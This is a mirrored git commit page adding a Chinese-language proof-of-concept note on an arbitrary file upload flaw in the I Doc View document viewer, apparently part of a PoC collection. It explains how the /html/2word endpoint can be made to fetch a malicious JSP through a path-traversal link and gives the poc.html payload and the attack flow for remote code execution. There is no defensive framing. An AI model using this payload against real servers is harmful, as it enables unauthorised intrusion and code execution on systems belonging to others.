mirror of
https://github.com/wooluo/POC00.git
synced 2026-03-18 01:34:50 +08:00
Create I Doc View任意文件上传漏洞.md
This commit is contained in:
parent
a9af79497f
commit
40198f4758
29
I Doc View任意文件上传漏洞.md
Normal file
29
I Doc View任意文件上传漏洞.md
Normal file
@ -0,0 +1,29 @@
|
||||
|
||||
## I Doc View任意文件上传漏洞
|
||||
I DOC VIEW是一个在线的文档查看器,其中的/html/2word接口因为处理不当,导致可以远程读取任意文件,通过这个接口导致服务器下载恶意的JSP进行解析,从而RCE。
|
||||
|
||||
## POC构造
|
||||
流程:携带恶意link[href]的html -> 远程获取 -> 解析出href -> 远程获取恶意文件
|
||||
|
||||
poc.html
|
||||
```html
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<title>test</title>
|
||||
</head>
|
||||
<body>
|
||||
<link href="/..\..\..\docview\poc.jsp">
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
然后构造 `..\..\..\docview\poc.jsp` 这个是文件
|
||||

|
||||
|
||||

|
||||
|
||||
## 漏洞分析
|
||||
```
|
||||
https://mp.weixin.qq.com/s/lDqhDnZGXoRyp2IolQ2odg
|
||||
```
|
||||
Loading…
x
Reference in New Issue
Block a user